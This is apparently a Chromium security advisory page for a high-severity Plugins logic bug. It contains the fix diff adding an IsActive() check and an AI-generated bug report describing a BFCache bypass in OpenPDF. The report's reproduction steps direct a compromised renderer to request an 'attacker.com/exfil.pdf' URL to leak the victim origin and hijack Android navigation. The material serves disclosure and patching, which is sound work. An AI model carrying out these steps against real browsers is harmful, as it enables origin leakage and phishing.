Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in Plugins
DescriptionInappropriate implementation in Plugins
ComponentPlugins
Bug ClassLogic Error
Tracker517644287
Fix commitdf413509d2db (chromium/src) +4/-0
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-08

Files Changed

  • chrome/browser/plugins/plugin_observer_common.cc
From df413509d2db232a4ac4013f57d33c950099d8fd Mon Sep 17 00:00:00 2001
From: Lei Zhang <thestig@chromium.org>
Date: Mon, 01 Jun 2026 11:33:05 -0700
Subject: [PATCH] Plugins: Check if RenderFrameHost is active in CanOpenPdfUrl()

When the PDF Viewer is disabled or unavailable, and there are no other
PDF mime handlers, there exists a fallback plugin placeholder to allow
users to download PDFs embedded on webpages. In the PluginObserver code
that works with this placeholder, make sure it is interacting with an
active RenderFrameHost.

Bug: 517644287
Change-Id: Ia28eb6996fdc83e02914285f365a2c0215f79ba2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7886288
Reviewed-by: Andy Phan <andyphan@chromium.org>
Commit-Queue: Lei Zhang <thestig@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1639549}
---

diff --git a/chrome/browser/plugins/plugin_observer_common.cc b/chrome/browser/plugins/plugin_observer_common.cc
index e5fbb41..37973b7 100644
--- a/chrome/browser/plugins/plugin_observer_common.cc
+++ b/chrome/browser/plugins/plugin_observer_common.cc
@@ -13,6 +13,10 @@
                    const GURL& url,
                    const GURL& last_committed_url,
                    content::Referrer* referrer) {
+  if (!render_frame_host->IsActive()) {
+    return false;
+  }
+
   if (!content::ChildProcessSecurityPolicy::GetInstance()->CanRequestURL(
           render_frame_host->GetProcess()->GetDeprecatedID(), url)) {
     return false;
Loading diff…

Original Bug Report

reported by vm...@google.com

BFCache security bypass in PluginObserver allowing origin leak and navigation hijacking

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: PluginObserver and PluginObserverAndroid lack active lifecycle checks on the calling RenderFrameHost in OpenPDF. Consequently, a compromised renderer in the Back/Forward Cache or pending-deletion state can potentially invoke this Mojo interface to leak the primary page’s origin or hijack the active tab’s navigation. This bypasses typical frame isolation and Back/Forward Cache security boundaries.

Affected files:

  • chrome/browser/plugins/plugin_observer.cc
  • chrome/browser/plugins/plugin_observer_android.cc

Estimated timestamp from git blame: 2020-11-06

Description

PluginObserver (on Desktop) and PluginObserverAndroid (on Android) bind the chrome::mojom::PluginHost interface per-RenderFrameHost (RFH) using a RenderFrameHostReceiverSet. This receiver set only removes receivers on RenderFrameDeleted. As a result, receivers remain registered and bound when an RFH enters the Back/Forward Cache (BFCache) or is in a pending-deletion state.

When a Mojo request is received, both PluginObserver::OpenPDF and PluginObserverAndroid::OpenPDF retrieve the calling RFH context via plugin_host_receivers_.GetCurrentTargetFrame(). However, neither implementation verifies whether the retrieved RenderFrameHost is active (e.g., via render_frame_host->IsActive()).

Because the handler retrieves the referrer using web_contents()->GetLastCommittedURL(), it obtains the URL of the primary, active page (which the user navigated to) rather than the URL of the calling, inactive BFCached frame. This leads to several potential security issues.

Potential Impact

  1. Cross-Origin Information Disclosure (Site Isolation Bypass): A compromised renderer that is BFCached or pending deletion can call OpenPDF with an attacker-controlled URL. The browser constructs a Referrer from web_contents()->GetLastCommittedURL(), which points to the newly navigated active page (e.g., https://victim.com). Since the default referrer policy applies strict-origin-when-cross-origin, the browser initiates a download request containing the Referrer header: Referer: https://victim.com/, leaking the origin of the active tab to the attacker.

  2. Download UI Spoofing: The browser triggers a download via DownloadManager::DownloadUrl on behalf of the inactive, cross-origin RFH. The download bubble/shelf is displayed on the active tab, potentially allowing a phishing or spoofing attack (e.g., prompting a fake download while the user is viewing their banking site).

  3. Android Top-Level Navigation/Redirection: On Android, PluginObserverAndroid::OpenPDF resolves the request by calling GetWebContents().OpenURL with WindowOpenDisposition::CURRENT_TAB. A BFCached compromised renderer can leverage this to force a top-level tab navigation to an attacker-controlled site, bypassing standard IsInactiveAndDisallowActivation navigation gates.

Suggested/Potential Reproduction Steps

(Note: These are potential steps, as our automated tooling does not have the ability to run code or compile proof-of-concepts.)

  1. Compromise the renderer process hosting https://attacker.com.
  2. From the compromised renderer, bind the channel-associated chrome.mojom.PluginHost interface and hold the remote.
  3. Induce the user to navigate the tab cross-site to a victim site (e.g., https://victim.com/). The attacker’s frame is placed into the Back/Forward Cache, and its Mojo receiver remains active.
  4. From the compromised renderer, call plugin_host->OpenPDF(GURL("https://attacker.com/exfil.pdf")).
  5. On Desktop, the browser initiates a download request to https://attacker.com/exfil.pdf with the header Referer: https://victim.com/, disclosing the victim origin, and pops up the download UI over the active victim page.
  6. On Android, the browser navigates the active tab to https://attacker.com/exfil.pdf with the Referer set to the victim’s origin.

Add an active frame check at the start of both PluginObserver::OpenPDF and PluginObserverAndroid::OpenPDF using IsActive() or IsInactiveAndDisallowReactivation(). For example:

void PluginObserver::OpenPDF(const GURL& url) {
  content::RenderFrameHost* render_frame_host =
      plugin_host_receivers_.GetCurrentTargetFrame();
  if (!render_frame_host->IsActive()) {
    return;
  }
  ...

Evaluated with Chrome root at commit: 5133b93d189b383c37805b1cf3a9d2dbfe8d7379


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker